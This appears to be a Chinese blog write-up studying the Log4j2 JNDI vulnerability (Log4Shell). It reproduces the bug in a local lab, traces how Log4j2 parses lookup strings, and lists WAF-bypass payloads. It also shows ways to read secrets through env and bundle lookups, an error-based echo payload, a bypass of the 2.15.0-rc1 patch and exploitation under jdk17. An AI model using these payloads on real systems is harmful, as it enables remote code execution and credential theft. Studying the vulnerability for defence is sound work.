前言
刚学JNDI时看过log4j2,但当时只是简单看了一下payload,对解析过程并不熟悉,现在来重新看一遍。
这里的目标:
1、了解漏洞的触发条件
2、了解payload在组件中的解析过程,看懂字符串的处理过程,进而明白bypass的由来
3、其他利用方式,包括其他协议以及不出网
4、补丁分析与绕过
5、jdk17下的利用
6、为什么会触发多次
文章涉及到的代码:https://github.com/1diot9/MyJavaSecStudy/tree/main/JNDI/Log4j2
测试环境:jdk8u65
漏洞复现
这里先复现一下漏洞,看看效果。
pom.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion>
<groupId>com.test</groupId> <artifactId>Log4j2</artifactId> <version>1.0-SNAPSHOT</version>
<properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> <log4j2.version>2.14.1</log4j2.version> </properties>
<dependencies> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>${log4j2.version}</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>${log4j2.version}</version> </dependency> </dependencies>
</project>
|
resources/log4j2.xml,里面有详细注释,帮助理解配置文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN" monitorInterval="30"> <Appenders> <Console name="Console" target="SYSTEM_OUT"> <PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss} [%t] %-5level %logger{36} - %msg%n"/> </Console> <RollingFile name="File" fileName="logs/app.log" filePattern="logs/app-%d{yyyy-MM-dd}-%i.log.gz"> <PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss} %-5level %logger - %msg%n"/> <Policies> <SizeBasedTriggeringPolicy size="10MB"/> <TimeBasedTriggeringPolicy/> </Policies> <DefaultRolloverStrategy max="7"/> </RollingFile> </Appenders>
<Loggers> <Logger name="com.example" level="error" additivity="false"> <AppenderRef ref="Console"/> <AppenderRef ref="File"/> </Logger> <Root level="info"> <AppenderRef ref="Console"/> </Root> </Loggers> </Configuration>
|
App.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| package com.example;
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.core.config.Configurator;
public class App { private static final Logger logger = LogManager.getLogger(App.class);
public static void main(String[] args) { Configurator.setLevel("com.example.App", org.apache.logging.log4j.Level.DEBUG);
String username = "${sys:user.name}"; String str2 = "${sys:java.version}"; String vul = "${jndi:ldap://127.0.0.1:50389/71c916}"; logger.trace("跟踪信息"); logger.debug("调试信息"); logger.info("应用启动"); logger.warn("警告示例"); logger.error("错误示例"); logger.fatal("致命错误示例"); logger.trace("{}", username); logger.info("{}", str2); logger.info("{}", vul);
try { int x = 1 / 0; } catch (Exception e) { logger.error("发生异常", e); } } }
|
恶意ldap服务器我用java-chains起:

运行后成功执行calc,而且是弹了4个。
调试分析
触发条件分析
除了组件版本<=2.14.1,设置的日志输出等级也会影响是否能触发漏洞。因为这里漏洞触发的本质是,组件需要打印日志,所以才去解析用户输入。如果组件判断不需要打印日志的话,就不会有解析这一步了。
我直接在javax.naming.spi.DirectoryManager#getObjectInstance打断点,因为触发的ldap,所以最后肯定会到这儿。复制一下堆栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| getObjectInstance:161, DirectoryManager (javax.naming.spi) c_lookup:1085, LdapCtx (com.sun.jndi.ldap) p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx) lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx) lookup:205, GenericURLContext (com.sun.jndi.toolkit.url) lookup:94, ldapURLContext (com.sun.jndi.url.ldap) lookup:417, InitialContext (javax.naming) lookup:172, JndiManager (org.apache.logging.log4j.core.net) lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup) lookup:221, Interpolator (org.apache.logging.log4j.core.lookup) resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup) substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup) substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup) replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup) format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern) format:38, PatternFormatter (org.apache.logging.log4j.core.pattern) toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout) toText:244, PatternLayout (org.apache.logging.log4j.core.layout) encode:229, PatternLayout (org.apache.logging.log4j.core.layout) encode:59, PatternLayout (org.apache.logging.log4j.core.layout) directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config) callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config) callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config) callAppender:84, AppenderControl (org.apache.logging.log4j.core.config) callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config) processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config) log:481, LoggerConfig (org.apache.logging.log4j.core.config) logParent:531, LoggerConfig (org.apache.logging.log4j.core.config) processLogEvent:500, LoggerConfig (org.apache.logging.log4j.core.config) log:481, LoggerConfig (org.apache.logging.log4j.core.config) log:456, LoggerConfig (org.apache.logging.log4j.core.config) log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config) log:161, Logger (org.apache.logging.log4j.core) tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi) logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi) logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi) logMessage:2034, AbstractLogger (org.apache.logging.log4j.spi) logIfEnabled:1899, AbstractLogger (org.apache.logging.log4j.spi) info:1444, AbstractLogger (org.apache.logging.log4j.spi) main:25, App (com.example)
|
这里简单扫一眼,能看到最底下,倒数第三行,有一个比较显眼的方法——logIfEnabled,看一下代码:

这里最关键是这个if条件,跟进isEnabled,再跟进filter:

App里设置的打印等级为debug,对应500;漏洞触发点是logger.info,对应400。因此能够满足条件,进入后续解析。
补充一下日志等级排序:trace < debug < info < warn < error < fatal
打印等级可以在配置文件设置,也可以在代码中临时修改:


关于日志级别修改,也可以参考官方文档:https://logging.apache.ac.cn/log4j/2.x/manual/customloglevels.html
总结:
除了版本<=2.14.1,还需要看设置的日志等级和触发点的日志等级。
payload解析分析
还是用上面的App.java,不过可以把前面的都注释,只留下最后的jndi触发点。
这里稍微改一下,vul改成下面的,方便展示嵌套解析的情况。
1
| vul = "${jndi:${lower:L}dap://127.0.0.1:50389/b67a28}";
|
调用栈也是和上面一样的。
自己分析的时候,我喜欢从上往下分析调用栈,所以这里也采取这种方式。
Interpolator#lookup
首先看到Interpolator#lookup:

更上面的调用栈不看了,因为就是一步步走到经典JNDI的过程。这里看到,已经取出${}里面的文本了,并且根据冒号做了分割,关键代码的作用已在图上标出。
这个方法的主要功能是:根据冒号分割协议与文本,根据协议从strLookupMap中获取合适的lookup对象,并调用lookup方法完成进一步解析。
看看strLookupMap还能解析哪些协议:

这些协议为后面的进一步利用或绕过提供了思路。
这在官方文档中也有提到:
https://logging.apache.ac.cn/log4j/2.x/manual/configuration.html#PropertySubstitution

StrSubstitutor#substitute
再往前看调用栈,这里我关注的是StrSubstitutor#substitute:

前后的调用栈都是一些简单的调用,而这个方法从篇幅看就比较重要,从上下文看,这个方法处理后,${}就消失了。所以,我应该重点看看这个方法。
开头就定义了一些matcher,如图:

分别匹配${,},:-。这里的 :- 是第一次出现,不知道干什么用的,留意一下。
接着,进入while循环,一个个字符遍历传入的日志消息,这里是${jndi:ldap://127.0.0.1:50389/b67a28}
当满足当前pos(position的缩写)的字符是$,下一个字符是{时,即出现 ${ 时,startMatchLen等于2,进入else if和else判断:

中间的else if 是处理转义字符的,其判断逻辑是,当前pos的前一个字符是转义字符的话,就不进行解析,并删除转义字符,也是一个常见的功能。不过这里的转义字符是$。所以$${jndi:ldap://127.0.0.1:50389/b67a28}最终会被日志打印为:

继续看下面的else,代码如图:

先关注一下如何处理嵌套情况。在962行,会继续判断是否出现 ${ ,出现的话,nestedVarCount++,即嵌套数加一。当出现suffix尾缀,即 } 时,会在974行判断是否有嵌套次数,有的话,就不进入解析,而是对nestedVarCount–。这样做的目的是为了找到匹配的 ${ 和 } 以我们一开始的${jndi:${lower:L}dap://127.0.0.1:50389/b67a28}为例,第一个${ 应该对应最后的 } ,而不是 L} 中的 } 。
当遍历到最后一个 } 时,能够进入 nestedVarCount == 0 的判断,开始解析:

可以看到,这里已经脱去了最外层的 ${} ,然后又嵌套调用 substitute方法,继续对存在的 ${} 进行处理。
总结一下,substitute会通过嵌套处理,一层层脱去 ${} ,先解析最里面的。
继续看nestedVarCount == 0 这个if中的逻辑。
首先是将内部嵌套的进行解析,一开始的${jndi:${lower:L}dap://127.0.0.1:50389/b67a28}变成了jndi:ldap://127.0.0.1:50389/b67a28,如图:

接下来会进入到一些特殊分隔符的匹配,如图:

这个等一下会单独讲,先继续看下面的。
如果没有特殊分隔符,最终就会通过resolveVariable对varName,也就是传入的payload进行处理:

跟进后,就是上一部分Interpolator#lookup的内容了,即根据协议找lookup对象,然后进行解析。
特殊分隔符分析
回到刚刚跳过的部分

这里主要有两种分隔符,:/-和:-
这里面会涉及到两个比较重要的变量,varName和varDefaultValue。前者最终进入resolveVariable进行解析(比如jndi:ldap://xxxx),后者作为解析结果为空时的默认值。
具体作用如下:
1、举例说明 :-
首先被处理成a:-b,然后a:-b被赋值为varName,最终进入resolveVariable解析,被拆分成a, -b,a对应协议部分,-b对应协议内容,如图:

这样自然不会产生解析结果,因此原样打印日志:

首先被处理成a:-b123:-xyz,这时候由于进入的是:-的if,所以会继续向后检测 :- 。最终,会先把前面的a:-b123进一步处理成a:b123作为varName,并把xyz作为varDefaultValue,如图:

于是,最终进入resolveVariable解析的就是a:b123,这样也自然不会解析成功。这时候,varDefaultValue就派上用场,作为最终的解析结果,如图:


这里说实话感觉挺奇怪的,理论上varName应该是a:-b123才对,不然反斜杠转义的意义何在?
找到第一个:-后,后面的就全是varDefaultValue了,所以日志结果为:

2、举例说明 :-
这里的逻辑更简单点,将第一个 :- 后的内容作为varDefaultValue,前面的作为varName,代码如图:

a自然无法被resolve解析,最终的日志结果:

分成a:b123 xyz321:-qwe两部分,前面作为varName,进入resolve解析,后面作为varDefaultValue。
最终日志:

- ${sys:java.version:-xyz123}
这时候varName部分解析成功,自然输出解析后的内容:

关于默认属性这一点,官方文档也有提到:
https://logging.apache.ac.cn/log4j/2.x/manual/configuration.html#PropertySubstitution

总结一下,可以写成 ${a:b:-default} 形式,当前面的协议无效时,就会取后面的默认值。
那我前言里写的灰盒测试是什么意思呢?其实就是在发现有 :-,:- 这种matcher后,不去仔细看源码,而是直接写几个案例运行,看输出结果,从而确定这些特殊分隔符的作用。这个时候,如何构造合适的例子就很重要。同样的方式也可以运用在,由于对URL的解析不同,从而造成权限绕过的漏洞上。这部分可以看:
7. JEECG-灰盒Fuzzing
这里的format方法,对日志消息里的 ${ 会进行识别,从而进入后面的解析:

而在之后的修复中,是不会对 ${ 进行判断的,后面看补丁的时候会知道。另外,这里的noLookups选项,也暗示了,能够通过修改启动配置来实现对所有lookup的禁用。
idea可以直接增加JVM选项:

绕过思路
有了上面的分析,现在来看看怎么对waf进行一些绕过。
这里直接搬运网上的了:
1 2 3 4 5
| ${${a:-j}ndi:ldap://127.0.0.1:1389/} ${${a:-j}n${::-d}i:ldap://127.0.0.1:1389/} ${${lower:jn}di:ldap://127.0.0.1:1389/} ${${lower:${upper:jn}}di:ldap://127.0.0.1:1389/} ${${lower:${upper:jn}}${::-di}:ldap://127.0.0.1:1389/}
|
另外,还可以利用一些特殊字符的大小写转化问题(似乎在py ssti 绕过中遇到过):
1 2 3 4 5 6 7
| ı => upper => i (Java 中测试可行)
ſ => upper => S (Java 中测试可行)
İ => upper => i (Java 中测试不可行)
K => upper => k (Java 中测试不可行)
|
如果涉及到json格式,那还可以尝试各种编码绕过,因为fastjson和jackson组件都支持unicode和hex编码:
1 2
| {"key":"\u0024\u007b"} {"key":"\x24\u007b"}
|
其他利用
sys,env,java等协议
结合其他的协议,有时候能够读取一些敏感信息,参考:
GitHub - jas502n/Log4j2-CVE-2021-44228: Remote Code Injection In Log4j
sys 实际对应 System.getProperty()
env 实际对应 System.getenv()
jndi下也支持dns协议,也可以通过dns外带。
末尾有详细的利用方式,列举部分:
env-linux:
1
| CLASSPATH,HOME,JAVA_HOME,LANG,LC_TERMINAL,LC_TERMINAL_VERSION,LESS,LOGNAME,LSCOLORS,LS_COLORS,MAIL,NLSPATH,OLDPWD,PAGER,PATH,PWD,SHELL,SHLVL,SSH_CLIENT,SSH_CONNECTION,SSH_TTY,TERM,USER,XDG_RUNTIME_DIR,XDG_SESSION_ID,XFILESEARCHPATH,ZSH,_
|

bundle协议
这个单开一段,因为利用条件有些不一样,且提及这个协议的文章比较少。
参考 log4j 漏洞一些特殊的利用方式
bundle协议对应的lookup代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| @Override public String lookup(final LogEvent event, final String key) { if (key == null) { return null; } final String[] keys = key.split(":"); final int keyLen = keys.length; if (keyLen != 2) { LOGGER.warn(LOOKUP, "Bad ResourceBundle key format [{}]. Expected format is BundleName:KeyName.", key); return null; } final String bundleName = keys[0]; final String bundleKey = keys[1]; try { return ResourceBundle.getBundle(bundleName).getString(bundleKey); } catch (final MissingResourceException e) { LOGGER.warn(LOOKUP, "Error looking up ResourceBundle [{}].", bundleName, e); return null; } }
|
从代码上来看就很好理解,把 key 按照 : 分割成两份,第一个是 bundleName 获取 ResourceBundle,第二个是 bundleKey 获取 Properties Value
ResourceBundle 在 Java 应用开发中经常被用来做国际化,网站通常会给一段表述的内容翻译成多种语言,比如中文简体、中文繁体、英文。
那开发者可能就会使用 ResourceBundle 来分别加载 classpath 下的 zh_CN.properties、en_US.properties。并按照唯一的 key 取出对应的那段文字。例如: zh_CN.properties
那 ResourceBundle.getBundle("zh_CN").getString("LOGIN_SUCCESS") 获取到的就是 登录成功
如果系统是 springboot 的话,它会有一个 application.properties 配置文件。里面存放着这个系统的各项配置,其中有可能就包含 redis、mysql 的配置项。当然也不止 springboot,很多其他类型的系统也会写一些类似 jdbc.properties 的文件来存放配置。
这些 properties 文件都可以通过 ResourceBundle 来获取到里面的配置项。
比如通过${bundle:application:spring.datasource.password} 来获取数据库密码。
不过,这个bundle协议在spring环境下的利用有限制,需要将spring默认的日志组件更换成log4j的,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter</artifactId> <exclusions> <exclusion> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-logging</artifactId> </exclusion> </exclusions> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-log4j2</artifactId> </dependency>
|
这种情况可能并不多见。
不出网回显
参考 浅谈Log4j2信息泄露与不出网回显-腾讯云开发者社区-腾讯云
这里通过报错回显。下面直接搬运了:
在tryCallAppender方法中catch了RuntimeException

如果配置了ignoreExceptions选项,就会直接抛出来

接下来就是制造RuntimeException
例如字符串转数字中有一个NumberFormatException异常,它父类的父类是RuntimeException
Manager.lookup中name是protocal://host:port/path
其中port本该是int如果给它无法转int的字符串就会抛出这里的信息
又联想到${}是支持嵌套标签的,这里嵌入真正想要得到的结果,即可抛出执行结果
根据这个思路,成功在Tomcat项目中回显执行结果(例如这里的${java:version})
能够回显的Payload是这样:${jndi:ldap://x.x.x.x:${java:version}/xxx}
这里也有限制条件,需要在log4j2.xml中配置 ignoreExceptions=”false”
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?xml version="1.0" encoding="UTF-8"?> <Configuration status="warn" name="MyApp" packages=""> <Appenders> <Console name="STDOUT" target="SYSTEM_OUT" ignoreExceptions="false"> <PatternLayout pattern="%m%n"/> </Console> </Appenders> <Loggers> <Root level="error"> <AppenderRef ref="STDOUT"/> </Root> </Loggers> </Configuration>
|
在实际的环境中,有开启这个配置的概率,参考apache官方的描述
大致意思是在FailoverAppender情况下必须设置该选项为false
某些情况下开发者想让错误报出来便于调试,也会故意开启这个选项
tomcat中使用log4j需要修改web.xml:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <listener> <listener-class>org.apache.logging.log4j.web.Log4jServletContextListener</listener-class> </listener>
<filter> <filter-name>log4jServletFilter</filter-name> <filter-class>org.apache.logging.log4j.web.Log4jServletFilter</filter-class> </filter> <context-param> <param-name>log4jConfiguration</param-name> <param-value>file:///YOUR_LOG4J2.XML_PATH</param-value> </context-param> <filter-mapping> <filter-name>log4jServletFilter</filter-name> <url-pattern>/*</url-pattern> <dispatcher>REQUEST</dispatcher> <dispatcher>FORWARD</dispatcher> <dispatcher>INCLUDE</dispatcher> <dispatcher>ERROR</dispatcher> <dispatcher>ASYNC</dispatcher> </filter-mapping>
|

补丁修复&绕过
2.15.0-rc1
修复点1:
之前MessagePatternConverter#convert是会解析 ${ 的,但是现在默认不会了:

新版本里加了好多子类,默认情况下会走到MessagePatternConverter$SimpleMessagePatternConverter#format,是不会对 ${ 处理的。
但是子类LookupMessagePatternConverter#format还是保留了对 ${ 的解析:

进入replaceIn后,就跟之前一样了。
修复点2:
在JndiManager中也做了修复:


这里的限制很严格,单独一个allowedHost就很棘手了。
但是rc1中,捕获异常后不会进行任何操作,所以可以通过人为制造异常来绕过前面的检查,直接进入最下面的lookup。
绕过思路
1、
首先要保证 ${ 能够被解析,这里只能手动改配置文件,所以利用要求比较高,在log4j2.xml中添加%m{lookups}。说实话,添加这个是直接看别的文章的,让我自己想肯定不知道,去官方文档里也没找到。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <Appenders> <Console name="Console" target="SYSTEM_OUT"> <PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss} %m{lookups} [%t] %-5level %logger{36} - %msg%n"/> </Console> <RollingFile name="File" fileName="logs/app.log" filePattern="logs/app-%d{yyyy-MM-dd}-%i.log.gz"> <PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss} %-5level %logger - %msg%n"/> <Policies> <SizeBasedTriggeringPolicy size="10MB"/> <TimeBasedTriggeringPolicy/> </Policies> <DefaultRolloverStrategy max="7"/> </RollingFile> </Appenders>
|
这样到时候就能走到LookupMessagePatternConverter#format
2、
制造URISyntaxException报错。这里有很多方法:
1 2 3
| ldap://127.0.0.1:50389/79fcbc# ldap://127.0.0.1:50389/79fcbc#^ ldap://127.0.0.1:50389/ 79fcbc
|
这样不会影响ldap的正常解析,而且能够实现报错。
2.15.0-rc2修复
就是在抛出报错部分中 return null:

jdk17利用
环境:2.14.1版本;jdk17.0.6;
1 2 3 4 5
| <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> <version>2.7.15</version> </dependency>
|
这里的根本问题就是,jdk17下,只有springboot依赖,怎么进行原生反序列化利用。
这里已经有其他师傅讲解过了,可以看:高版本JDK下的Spring原生反序列化链 – fushulingのblog
这里我们直接使用java-chains生成:

这里值得注意的一点是,suid在不同版本会不一样。
1 2
| EventListenerList:jdk8 suid:-5677132037850737084;jdk11/jdk17 suid:-7977902244297240866 DefaultAdvisorChainFactory:spring-aop <=6.0.9/spring-boot-starter-web <= 3.1.0 suid:6115154060221772279;spring-aop >=6.0.10/spring-boot-starter-web >= 3.1.1 suid:273003553246259276
|
当没有显式声明suid时,可以通过:
1
| serialver -classpath "spring-aop-5.3.19.jar" org.springframework.aop.framework.DefaultAdvisorChainFactory
|
对suid进行查看:

为什么触发了多次
首先,ldap加载远程字节码触发两次是容易知道的,之前在学jndi的时候跟过调试。一次触发在Class.forName,另一次在newInstance:


接下来往前看,这里还是在getObjectInstance打断点,然后对比两次的调用栈有什么不同:

看不一样处的前一个调用栈:

能够知道,大概率是这个appender有两个,再往前分析调用栈,最终在LoggerConfig#callAppenders:

这两个分别对应在控制台解析一次,在日志文件里解析一次,和log4j2.xml是对应的。
于是2*2=4,就触发了4次。
工具利用
给几个能够进行漏洞检测的:
GitHub - pureqh/Hyacinth: 一款java漏洞集合工具
yakit里的插件
burp里的插件 GitHub - f0ng/log4j2burpscanner: CVE-2021-44228 Log4j2 BurpSuite Scanner,Customize ceye.io api or other apis,including internal networks
我这里就burp插件成功了,burp插件测试时,需要手动改成非URL编码的才能正常测试请求头中的内容。

总结
回顾一下一开始的目标,这里学到了:
- 漏洞触发条件;payload解析过程;bypass发现过程
- 其他的利用方式,包括其他协议,报错利用
- 知道了补丁修复及其绕过
- 知道了为什么会触发多次
- burp插件被动/主动检测log4j2
参考
log4j2_rce分析 | d4m1ts 知识库
Log4j2 利用手法学习 – 天下大木头
log4j2 RCE 分析 – 天下大木头
浅谈Log4j2信息泄露与不出网回显-腾讯云开发者社区-腾讯云
当Log4j遇到jdk17~往日种种,你当真不记得了?